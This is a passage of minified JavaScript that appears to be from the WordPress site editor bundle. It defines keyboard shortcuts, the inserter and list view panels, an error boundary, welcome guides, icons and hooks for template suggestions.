a=n(),r=!!a.length;!a.some((e=>l(e.kind,e.name,e.key)))&&r&&t()})),(0,Ft.useShortcut)("core/edit-site/undo",(e=>{s(),e.preventDefault()})),(0,Ft.useShortcut)("core/edit-site/redo",(e=>{i(),e.preventDefault()})),(0,Ft.useShortcut)("core/edit-site/toggle-list-view",(()=>{m(!r)})),(0,Ft.useShortcut)("core/edit-site/toggle-block-settings-sidebar",(e=>{e.preventDefault(),o?g(Ve):p(Ve,Oa)})),(0,Ft.useShortcut)("core/edit-site/toggle-mode",(()=>{d("visual"===a()?"text":"visual")})),null}Pr.Register=function(){const{registerShortcut:e}=(0,c.useDispatch)(Ft.store);return(0,o.useEffect)((()=>{e({name:"core/edit-site/save",category:"global",description:(0,h.__)("Save your changes."),keyCombination:{modifier:"primary",character:"s"}}),e({name:"core/edit-site/undo",category:"global",description:(0,h.__)("Undo your last changes."),keyCombination:{modifier:"primary",character:"z"}}),e({name:"core/edit-site/redo",category:"global",description:(0,h.__)("Redo your last undo."),keyCombination:{modifier:"primaryShift",character:"z"}}),e({name:"core/edit-site/toggle-list-view",category:"global",description:(0,h.__)("Open the block list view."),keyCombination:{modifier:"access",character:"o"}}),e({name:"core/edit-site/toggle-block-settings-sidebar",category:"global",description:(0,h.__)("Show or hide the block settings sidebar."),keyCombination:{modifier:"primaryShift",character:","}}),e({name:"core/edit-site/keyboard-shortcuts",category:"main",description:(0,h.__)("Display these keyboard shortcuts."),keyCombination:{modifier:"access",character:"h"}}),e({name:"core/edit-site/next-region",category:"global",description:(0,h.__)("Navigate to the next part of the editor."),keyCombination:{modifier:"ctrl",character:"`"},aliases:[{modifier:"access",character:"n"}]}),e({name:"core/edit-site/previous-region",category:"global",description:(0,h.__)("Navigate to the previous part of the editor."),keyCombination:{modifier:"ctrlShift",character:"`"},aliases:[{modifier:"access",character:"p"}]}),e({name:"core/edit-site/toggle-mode",category:"global",description:(0,h.__)("Switch between visual editor and code editor."),keyCombination:{modifier:"secondary",character:"m"}})}),[e]),null};const Br=Pr;function Vr(){const{setTemplate:e,setTemplatePart:t,setPage:n}=(0,c.useDispatch)(Ot),{params:{postId:l,postType:a}}=ke();return(0,o.useEffect)((()=>{"page"===a||"post"===a?n({context:{postType:a,postId:l}}):"wp_template"===a?e(l):"wp_template_part"===a&&t(l)}),[l,a]),null}const zr=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"}));function Ar(){const{setIsInserterOpened:e}=(0,c.useDispatch)(Ot),t=(0,c.useSelect)((e=>e(Ot).__experimentalGetInsertionPoint()),[]),n=(0,J.useViewportMatch)("medium","<"),l=n?"div":_.VisuallyHidden,[a,r]=(0,J.__experimentalUseDialog)({onClose:()=>e(!1),focusOnMount:null}),i=(0,o.useRef)();return(0,o.useEffect)((()=>{i.current.focusSearch()}),[]),(0,o.createElement)("div",d({ref:a},r,{className:"edit-site-editor__inserter-panel"}),(0,o.createElement)(l,{className:"edit-site-editor__inserter-panel-header"},(0,o.createElement)(_.Button,{icon:zr,label:(0,h.__)("Close block inserter"),onClick:()=>e(!1)})),(0,o.createElement)("div",{className:"edit-site-editor__inserter-panel-content"},(0,o.createElement)(ge.__experimentalLibrary,{showInserterHelpPanel:!0,shouldFocusBlock:n,rootClientId:t.rootClientId,__experimentalInsertionIndex:t.insertionIndex,__experimentalFilterValue:t.filterValue,ref:i})))}function Rr(){const{setIsListViewOpened:e}=(0,c.useDispatch)(Ot),t=(0,J.useFocusOnMount)("firstElement"),n=(0,J.useFocusReturn)(),l=(0,J.useFocusReturn)(),a=`edit-site-editor__list-view-panel-label-${(0,J.useInstanceId)(Rr)}`;return(0,o.createElement)("div",{"aria-labelledby":a,className:"edit-site-editor__list-view-panel",onKeyDown:function(t){t.keyCode!==Ut.ESCAPE||t.defaultPrevented||e(!1)}},(0,o.createElement)("div",{className:"edit-site-editor__list-view-panel-header",ref:n},(0,o.createElement)("strong",{id:a},(0,h.__)("List View")),(0,o.createElement)(_.Button,{icon:w,label:(0,h.__)("Close List View Sidebar"),onClick:()=>e(!1)})),(0,o.createElement)("div",{className:"edit-site-editor__list-view-panel-content",ref:(0,J.useMergeRefs)([l,t])},(0,o.createElement)(ge.__experimentalListView,null)))}function Lr(e){let{text:t,children:n}=e;const l=(0,J.useCopyToClipboard)(t);return(0,o.createElement)(_.Button,{variant:"secondary",ref:l},n)}function Or(e){let{message:t,error:n,reboot:l,dashboardLink:a}=e;const r=[];return l&&r.push((0,o.createElement)(_.Button,{key:"recovery",onClick:l,variant:"secondary"},(0,h.__)("Attempt Recovery"))),n&&r.push((0,o.createElement)(Lr,{key:"copy-error",text:n.stack},(0,h.__)("Copy Error"))),a&&r.push((0,o.createElement)(_.Button,{key:"back-to-dashboard",variant:"secondary",href:a},(0,h.__)("Back to dashboard"))),(0,o.createElement)(ge.Warning,{className:"editor-error-boundary",actions:r},t)}class Fr extends o.Component{constructor(){super(...arguments),this.reboot=this.reboot.bind(this),this.state={error:null}}componentDidCatch(e){(0,de.doAction)("editor.ErrorBoundary.errorLogged",e)}static getDerivedStateFromError(e){return{error:e}}reboot(){this.props.onError()}render(){const{error:e}=this.state;return e?(0,o.createElement)(Or,{message:(0,h.__)("The editor has encountered an unexpected error."),error:e,reboot:this.reboot}):this.props.children}}function Dr(e){let{nonAnimatedSrc:t,animatedSrc:n}=e;return(0,o.createElement)("picture",{className:"edit-site-welcome-guide__image"},(0,o.createElement)("source",{srcSet:t,media:"(prefers-reduced-motion: reduce)"}),(0,o.createElement)("img",{src:n,width:"312",height:"240",alt:""}))}function Gr(){const{toggle:e}=(0,c.useDispatch)(k.store);return(0,c.useSelect)((e=>!!e(k.store).get("core/edit-site","welcomeGuide")),[])?(0,o.createElement)(_.Guide,{className:"edit-site-welcome-guide",contentLabel:(0,h.__)("Welcome to the site editor"),finishButtonText:(0,h.__)("Get Started"),onFinish:()=>e("core/edit-site","welcomeGuide"),pages:[{image:(0,o.createElement)(Dr,{nonAnimatedSrc:"https://s.w.org/images/block-editor/edit-your-site.svg?1",animatedSrc:"https://s.w.org/images/block-editor/edit-your-site.gif?1"}),content:(0,o.createElement)(o.Fragment,null,(0,o.createElement)("h1",{className:"edit-site-welcome-guide__heading"},(0,h.__)("Edit your site")),(0,o.createElement)("p",{className:"edit-site-welcome-guide__text"},(0,h.__)("Design everything on your site — from the header right down to the footer — using blocks.")),(0,o.createElement)("p",{className:"edit-site-welcome-guide__text"},(0,o.createInterpolateElement)((0,h.__)("Click <StylesIconImage /> to start designing your blocks, and choose your typography, layout, and colors."),{StylesIconImage:(0,o.createElement)("img",{alt:(0,h.__)("styles"),src:"data:image/svg+xml,%3Csvg width='18' height='18' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' fill='%231E1E1E'/%3E%3C/svg%3E%0A"})})))}]}):null}function Hr(){const{toggle:e}=(0,c.useDispatch)(k.store),{isActive:t,isStylesOpen:n}=(0,c.useSelect)((e=>{const t=e(O).getActiveComplementaryArea(Ot.name);return{isActive:!!e(k.store).get("core/edit-site","welcomeGuideStyles"),isStylesOpen:"edit-site/global-styles"===t}}),[]);return t&&n?(0,o.createElement)(_.Guide,{className:"edit-site-welcome-guide",contentLabel:(0,h.__)("Welcome to styles"),finishButtonText:(0,h.__)("Get Started"),onFinish:()=>e("core/edit-site","welcomeGuideStyles"),pages:[{image:(0,o.createElement)(Dr,{nonAnimatedSrc:"https://s.w.org/images/block-editor/welcome-to-styles.svg?1",animatedSrc:"https://s.w.org/images/block-editor/welcome-to-styles.gif?1"}),content:(0,o.createElement)(o.Fragment,null,(0,o.createElement)("h1",{className:"edit-site-welcome-guide__heading"},(0,h.__)("Welcome to Styles")),(0,o.createElement)("p",{className:"edit-site-welcome-guide__text"},(0,h.__)("Tweak your site, or give it a whole new look! Get creative — how about a new color palette for your buttons, or choosing a new font? Take a look at what you can do here.")))},{image:(0,o.createElement)(Dr,{nonAnimatedSrc:"https://s.w.org/images/block-editor/set-the-design.svg?1",animatedSrc:"https://s.w.org/images/block-editor/set-the-design.gif?1"}),content:(0,o.createElement)(o.Fragment,null,(0,o.createElement)("h1",{className:"edit-site-welcome-guide__heading"},(0,h.__)("Set the design")),(0,o.createElement)("p",{className:"edit-site-welcome-guide__text"},(0,h.__)("You can customize your site as much as you like with different colors, typography, and layouts. Or if you prefer, just leave it up to your theme to handle! ")))},{image:(0,o.createElement)(Dr,{nonAnimatedSrc:"https://s.w.org/images/block-editor/personalize-blocks.svg?1",animatedSrc:"https://s.w.org/images/block-editor/personalize-blocks.gif?1"}),content:(0,o.createElement)(o.Fragment,null,(0,o.createElement)("h1",{className:"edit-site-welcome-guide__heading"},(0,h.__)("Personalize blocks")),(0,o.createElement)("p",{className:"edit-site-welcome-guide__text"},(0,h.__)("You can adjust your blocks to ensure a cohesive experience across your site — add your unique colors to a branded Button block, or adjust the Heading block to your preferred size.")))},{image:(0,o.createElement)(Dr,{nonAnimatedSrc:"https://s.w.org/images/block-editor/welcome-documentation.svg",animatedSrc:"https://s.w.org/images/block-editor/welcome-documentation.gif"}),content:(0,o.createElement)(o.Fragment,null,(0,o.createElement)("h1",{className:"edit-site-welcome-guide__heading"},(0,h.__)("Learn more")),(0,o.createElement)("p",{className:"edit-site-welcome-guide__text"},(0,h.__)("New to block themes and styling your site? "),(0,o.createElement)(_.ExternalLink,{href:(0,h.__)("https://wordpress.org/support/article/styles-overview/")},(0,h.__)("Here’s a detailed guide to learn how to make the most of it."))))}]}):null}function $r(){return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Gr,null),(0,o.createElement)(Hr,null))}function Ur(){return function(){const[e,t,n]=Dl(),{getSettings:l}=(0,c.useSelect)(Ot),{updateSettings:a}=(0,c.useDispatch)(Ot);(0,o.useEffect)((()=>{if(!e||!t)return;const r=l(),o=(0,pt.filter)(r.styles,(e=>!e.isGlobalStyles));a({...r,styles:[...o,...e],svgFilters:n,__experimentalFeatures:t})}),[e,t])}(),null}function Wr(e){const t=ke(),n=(0,c.useSelect)((e=>{var t;return null===(t=e(u.store).getEntityRecord("root","site"))||void 0===t?void 0:t.title}),[]),l=(0,o.useRef)(!0);(0,o.useEffect)((()=>{l.current=!1}),[t]),(0,o.useEffect)((()=>{if(!l.current&&e&&n){const t=(0,h.sprintf)(
/* translators: Admin screen title. 1: Admin screen name, 2: Network or site name. */
(0,h.__)("%1$s ‹ %2$s — WordPress"),(0,Ya.decodeEntities)(e),(0,Ya.decodeEntities)(n));document.title=t,(0,qe.speak)((0,h.sprintf)(
/* translators: The page title that is currently displaying. */
(0,h.__)("Now displaying: %s"),document.title),"assertive")}}),[e,n,t])}const jr={
/* translators: accessibility text for the editor top bar landmark region. */
header:(0,h.__)("Editor top bar"),
/* translators: accessibility text for the editor content landmark region. */
body:(0,h.__)("Editor content"),
/* translators: accessibility text for the editor settings landmark region. */
sidebar:(0,h.__)("Editor settings"),
/* translators: accessibility text for the editor publish landmark region. */
actions:(0,h.__)("Editor publish"),
/* translators: accessibility text for the editor footer landmark region. */
footer:(0,h.__)("Editor footer"),
/* translators: accessibility text for the navigation sidebar landmark region. */
drawer:(0,h.__)("Navigation Sidebar")},qr=function(e){let{onError:t}=e;const{isInserterOpen:n,isListViewOpen:l,sidebarIsOpened:a,settings:r,entityId:i,templateType:s,page:d,template:p,templateResolved:g,isNavigationOpen:f,previousShortcut:E,nextShortcut:v,editorMode:y,showIconLabels:b,blockEditorMode:w}=(0,c.useSelect)((e=>{const{isInserterOpened:t,isListViewOpened:n,getSettings:l,getEditedPostType:a,getEditedPostId:r,getPage:o,isNavigationOpened:i,getEditorMode:s}=e(Ot),{hasFinishedResolution:c,getEntityRecord:m}=e(u.store),{__unstableGetEditorMode:d}=e(ge.store),p=a(),g=r();return{isInserterOpen:t(),isListViewOpen:n(),sidebarIsOpened:!!e(O).getActiveComplementaryArea(Ot.name),settings:l(),templateType:p,page:o(),template:g?m("postType",p,g):null,templateResolved:!!g&&c("getEntityRecord",["postType",p,g]),entityId:g,isNavigationOpen:i(),previousShortcut:e(Ft.store).getAllShortcutKeyCombinations("core/edit-site/previous-region"),nextShortcut:e(Ft.store).getAllShortcutKeyCombinations("core/edit-site/next-region"),editorMode:s(),showIconLabels:e(k.store).get("core/edit-site","showIconLabels"),blockEditorMode:d()}}),[]),{setPage:x,setIsInserterOpened:S}=(0,c.useDispatch)(Ot),{enableComplementaryArea:C}=(0,c.useDispatch)(O),[T,N]=(0,o.useState)(!1),I=(0,o.useCallback)((()=>N(!0)),[]),M=(0,o.useCallback)((()=>{N(!1)}),[]),P=(0,o.useMemo)((()=>({...null==d?void 0:d.context,queryContext:[(null==d?void 0:d.context.queryContext)||{page:1},e=>x({...d,context:{...null==d?void 0:d.context,queryContext:{...null==d?void 0:d.context.queryContext,...e}}})]})),[null==d?void 0:d.context]);(0,o.useEffect)((()=>{f?document.body.classList.add("is-navigation-sidebar-open"):document.body.classList.remove("is-navigation-sidebar-open")}),[f]),(0,o.useEffect)((function(){"open"===new URLSearchParams(window.location.search).get("styles")&&C("core/edit-site","edit-site/global-styles")}),[C]);const B=(null==r?void 0:r.siteUrl)&&void 0!==s&&void 0!==i,V=l?(0,h.__)("List View"):(0,h.__)("Block Library");return Wr(B&&(0,h.__)("Editor (beta)")),(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Vr,null),B&&(0,o.createElement)(Ft.ShortcutProvider,null,(0,o.createElement)(u.EntityProvider,{kind:"root",type:"site"},(0,o.createElement)(u.EntityProvider,{kind:"postType",type:s,id:i},(0,o.createElement)(Sa,null,(0,o.createElement)(ge.BlockContextProvider,{value:P},(0,o.createElement)(Ur,null),(0,o.createElement)(Fr,{onError:t},(0,o.createElement)(Br.Register,null),(0,o.createElement)(qa,null),(0,o.createElement)(ee,{labels:{...jr,secondarySidebar:V},className:b&&"show-icon-labels",secondarySidebar:"visual"===y&&n?(0,o.createElement)(Ar,null):"visual"===y&&l?(0,o.createElement)(Rr,null):null,sidebar:a&&(0,o.createElement)(Q.Slot,{scope:"core/edit-site"}),drawer:(0,o.createElement)(dr.Slot,null),header:(0,o.createElement)(Mn,{openEntitiesSavedStates:I,showIconLabels:b}),notices:(0,o.createElement)(m.EditorSnackbars,null),content:(0,o.createElement)(o.Fragment,null,(0,o.createElement)(m.EditorNotices,null),(0,o.createElement)(ge.BlockStyles.Slot,{scope:"core/block-inspector"}),"visual"===y&&p&&(0,o.createElement)(Tr,{setIsInserterOpen:S}),"text"===y&&p&&(0,o.createElement)(Mr,null),g&&!p&&(null==r?void 0:r.siteUrl)&&i&&(0,o.createElement)(_.Notice,{status:"warning",isDismissible:!1},(0,h.__)("You attempted to edit an item that doesn't exist. Perhaps it was deleted?")),(0,o.createElement)(Br,{openEntitiesSavedStates:I})),actions:(0,o.createElement)(o.Fragment,null,T?(0,o.createElement)(m.EntitiesSavedStates,{close:M}):(0,o.createElement)("div",{className:"edit-site-editor__toggle-save-panel"},(0,o.createElement)(_.Button,{variant:"secondary",className:"edit-site-editor__toggle-save-panel-button",onClick:I,"aria-expanded":!1},(0,h.__)("Open save panel")))),footer:"zoom-out"!==w?(0,o.createElement)(ge.BlockBreadcrumb,{rootLabelText:(0,h.__)("Template")}):void 0,shortcuts:{previous:E,next:v}}),(0,o.createElement)($r,null),(0,o.createElement)(_.Popover.Slot,null))))))))},Yr=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z"})),Xr=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M7 5.5h10a.5.5 0 01.5.5v12a.5.5 0 01-.5.5H7a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM17 4H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V6a2 2 0 00-2-2zm-1 3.75H8v1.5h8v-1.5zM8 11h8v1.5H8V11zm6 3.25H8v1.5h6v-1.5z"})),Kr=(0,o.createElement)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(f.Path,{d:"M19 6.2h-5.9l-.6-1.1c-.3-.7-1-1.1-1.8-1.1H5c-1.1 0-2 .9-2 2v11.8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8.2c0-1.1-.9-2-2-2zm.5 11.6c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h5.8c.2 0 .4.1.4.3l1 2H19c.3 0 .5.2.5.5v9.5zM8 12.8h8v-1.5H8v1.5zm0 3h8v-1.5H8v1.5z"})),Zr=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M13.5 6C10.5 6 8 8.5 8 11.5c0 1.1.3 2.1.9 3l-3.4 3 1 1.1 3.4-2.9c1 .9 2.2 1.4 3.6 1.4 3 0 5.5-2.5 5.5-5.5C19 8.5 16.5 6 13.5 6zm0 9.5c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4z"})),Qr=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm.5 12c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v10zm-11-7.6h-.7l-3.1 4.3h2.8V15h1v-1.3h.7v-.8h-.7V9.4zm-.9 3.5H6.3l1.2-1.7v1.7zm5.6-3.2c-.4-.2-.8-.4-1.2-.4-.5 0-.9.1-1.2.4-.4.2-.6.6-.8 1-.2.4-.3.9-.3 1.5s.1 1.1.3 1.6c.2.4.5.8.8 1 .4.2.8.4 1.2.4.5 0 .9-.1 1.2-.4.4-.2.6-.6.8-1 .2-.4.3-1 .3-1.6 0-.6-.1-1.1-.3-1.5-.1-.5-.4-.8-.8-1zm0 3.6c-.1.3-.3.5-.5.7-.2.1-.4.2-.7.2-.3 0-.5-.1-.7-.2-.2-.1-.4-.4-.5-.7-.1-.3-.2-.7-.2-1.2 0-.7.1-1.2.4-1.5.3-.3.6-.5 1-.5s.7.2 1 .5c.3.3.4.8.4 1.5-.1.5-.1.9-.2 1.2zm5-3.9h-.7l-3.1 4.3h2.8V15h1v-1.3h.7v-.8h-.7V9.4zm-1 3.5H16l1.2-1.7v1.7z"})),Jr=(0,o.createElement)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(f.Path,{d:"M4 4v1.5h16V4H4zm8 8.5h8V11h-8v1.5zM4 20h16v-1.5H4V20zm4-8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2z"})),eo=(0,o.createElement)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(f.Path,{d:"M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z",fillRule:"evenodd",clipRule:"evenodd"})),to=(0,o.createElement)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(f.Path,{d:"M10 4.5a1 1 0 11-2 0 1 1 0 012 0zm1.5 0a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm2.25 7.5v-1A2.75 2.75 0 0011 8.25H7A2.75 2.75 0 004.25 11v1h1.5v-1c0-.69.56-1.25 1.25-1.25h4c.69 0 1.25.56 1.25 1.25v1h1.5zM4 20h9v-1.5H4V20zm16-4H4v-1.5h16V16z",fillRule:"evenodd",clipRule:"evenodd"})),no=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{fillRule:"evenodd",d:"M8.95 11.25H4v1.5h4.95v4.5H13V18c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-3c-1.1 0-2 .9-2 2v.75h-2.55v-7.5H13V9c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3c-1.1 0-2 .9-2 2v.75H8.95v4.5ZM14.5 15v3c0 .3.2.5.5.5h3c.3 0 .5-.2.5-.5v-3c0-.3-.2-.5-.5-.5h-3c-.3 0-.5.2-.5.5Zm0-6V6c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3c0 .3-.2.5-.5.5h-3c-.3 0-.5-.2-.5-.5Z",clipRule:"evenodd"})),lo=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M11.696 13.972c.356-.546.599-.958.728-1.235a1.79 1.79 0 00.203-.783c0-.264-.077-.47-.23-.618-.148-.153-.354-.23-.618-.23-.295 0-.569.07-.82.212a3.413 3.413 0 00-.738.571l-.147-1.188c.289-.234.59-.41.903-.526.313-.117.66-.175 1.041-.175.375 0 .695.08.959.24.264.153.46.362.59.626.135.265.203.556.203.876 0 .362-.08.734-.24 1.115-.154.381-.427.87-.82 1.466l-.756 1.152H14v1.106h-4l1.696-2.609z"}),(0,o.createElement)(f.Path,{d:"M19.5 7h-15v12a.5.5 0 00.5.5h14a.5.5 0 00.5-.5V7zM3 7V5a2 2 0 012-2h14a2 2 0 012 2v14a2 2 0 01-2 2H5a2 2 0 01-2-2V7z"})),ao=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M20.1 11.2l-6.7-6.7c-.1-.1-.3-.2-.5-.2H5c-.4-.1-.8.3-.8.7v7.8c0 .2.1.4.2.5l6.7 6.7c.2.2.5.4.7.5s.6.2.9.2c.3 0 .6-.1.9-.2.3-.1.5-.3.8-.5l5.6-5.6c.4-.4.7-1 .7-1.6.1-.6-.2-1.2-.6-1.6zM19 13.4L13.4 19c-.1.1-.2.1-.3.2-.2.1-.4.1-.6 0-.1 0-.2-.1-.3-.2l-6.5-6.5V5.8h6.8l6.5 6.5c.2.2.2.4.2.6 0 .1 0 .3-.2.5zM9 8c-.6 0-1 .4-1 1s.4 1 1 1 1-.4 1-1-.4-1-1-1z"})),ro=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z"}));function oo(){const e="edit-site-template-actions-loading-screen-modal";return(0,o.createElement)(_.Modal,{isFullScreen:!0,isDismissible:!1,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,onRequestClose:()=>{},__experimentalHideHeader:!0,className:e},(0,o.createElement)("div",{className:`${e}__content`},(0,o.createElement)(_.Spinner,null)))}const io=()=>(0,c.useSelect)((e=>e(u.store).getEntityRecords("postType","wp_template",{per_page:-1})),[]),so=()=>(0,c.useSelect)((e=>e(m.store).__experimentalGetDefaultTemplateTypes()),[]),co=()=>{const e=(0,c.useSelect)((e=>e(u.store).getPostTypes({per_page:-1})),[]);return(0,o.useMemo)((()=>{const t=["attachment"];return null==e?void 0:e.filter((e=>{let{viewable:n,slug:l}=e;return n&&!t.includes(l)}))}),[e])};function uo(e){const t=(0,o.useMemo)((()=>null==e?void 0:e.reduce(((e,t)=>{let{labels:n}=t;const l=n.singular_name.toLowerCase();return e[l]=(e[l]||0)+1,e}),{})));return(0,o.useCallback)((e=>{let{labels:n,slug:l}=e;const a=n.singular_name.toLowerCase();return t[a]>1&&a!==l}),[t])}function mo(){const e=co(),t=(0,o.useMemo)((()=>null==e?void 0:e.filter((e=>e.has_archive))),[e]),n=io(),l=uo(t);return(0,o.useMemo)((()=>(null==t?void 0:t.filter((e=>!(n||[]).some((t=>t.slug==="archive-"+e.slug)))).map((e=>{var t;let n;return n=l(e)?(0,h.sprintf)(// translators: %1s: Name of the post type e.g: "Post"; %2s: Slug of the post type e.g: "book".
(0,h.__)("Archive: %1$s (%2$s)"),e.labels.singular_name,e.slug):(0,h.sprintf)(// translators: %s: Name of the post type e.g: "Post".
(0,h.__)("Archive: %s"),e.labels.singular_name),{slug:"archive-"+e.slug,description:(0,h.sprintf)(// translators: %s: Name of the post type e.g: "Post".
(0,h.__)("Displays an archive with the latests posts of type: %s."),e.labels.singular_name),title:n,icon:null!==(t=e.icon)&&void 0!==t&&t.startsWith("dashicons-")?e.icon.slice(10):Kr,templatePrefix:"archive"}})))||[]),[t,n,l])}const po={user:"author"},go={user:{who:"authors"}},_o=e=>{const t=io();return(0,o.useMemo)((()=>Object.entries(e||{}).reduce(((e,n)=>{let[l,a]=n;const r=(t||[]).reduce(((e,t)=>{const n=`${a}-`;return t.slug.startsWith(n)&&e.push(t.slug.substring(n.length)),e}),[]);return r.length&&(e[l]=r),e}),{})),[e,t])},ho=function(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const l=_o(t),a=(0,c.useSelect)((t=>Object.entries(l||{}).reduce(((l,a)=>{let[r,o]=a;const i=t(u.store).getEntityRecords(e,r,{_fields:"id",context:"view",slug:o,...n[r]});return null!=i&&i.length&&(l[r]=i),l}),{})),[l]);return a},fo=function(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const l=ho(e,t,n),a=(0,c.useSelect)((a=>Object.keys(t||{}).reduce(((t,r)=>{var o,i;const s=(null==l||null===(o=l[r])||void 0===o?void 0:o.map((e=>{let{id:t}=e;return t})))||[];return t[r]={hasEntities:!(null===(i=a(u.store).getEntityRecords(e,r,{per_page:1,_fields:"id",context:"view",exclude:s,...n[r]}))||void 0===i||!i.length),existingEntitiesIds:s},t}),{})),[t,l]);return a},Eo=[];function vo(e){let{suggestion:t,search:n,onSelect:l,entityForSuggestions:a,composite:r}=e;const i="edit-site-custom-template-modal__suggestions_list__list-item";return(0,o.createElement)(_.__unstableCompositeItem,d({role:"option",as:_.Button},r,{className:i,onClick:()=>l(a.config.getSpecificTemplate(t))}),(0,o.createElement)("span",{className:`${i}__title`},(0,o.createElement)(_.TextHighlight,{text:t.name,highlight:n})),t.link&&(0,o.createElement)("span",{className:`${i}__info`},t.link))}function yo(e){let{entityForSuggestions:t,onSelect:n}=e;const l=(0,_.__unstableUseCompositeState)({orientation:"vertical"}),[a,r,i]=function(){const[e,t]=(0,o.useState)(""),[n,l]=(0,o.useState)(""),a=(0,J.useDebounce)(l,250);return(0,o.useEffect)((()=>{n!==e&&a(e)}),[n,e]),[e,t,n]}(),s=function(e,t){const{config:n}=e,l=(0,o.useMemo)((()=>({order:"asc",context:"view",search:t,per_page:t?20:10,...n.queryArgs(t)})),[t,n]),{records:a,hasResolved:r}=(0,u.useEntityRecords)(e.type,e.slug,l),[i,s]=(0,o.useState)(Eo);return(0,o.useEffect)((()=>{if(!r)return;let e=Eo;var t,l;null!=a&&a.length&&(e=a,n.recordNamePath&&(t=e,l=n.recordNamePath,e=(t||[]).map((e=>({...e,name:(0,Ya.decodeEntities)((0,pt.get)(e,l))}))))),s(e)}),[a,r]),i}(t,i),{labels:c}=t,[m,p]=(0,o.useState)(!1);return!m&&(null==s?void 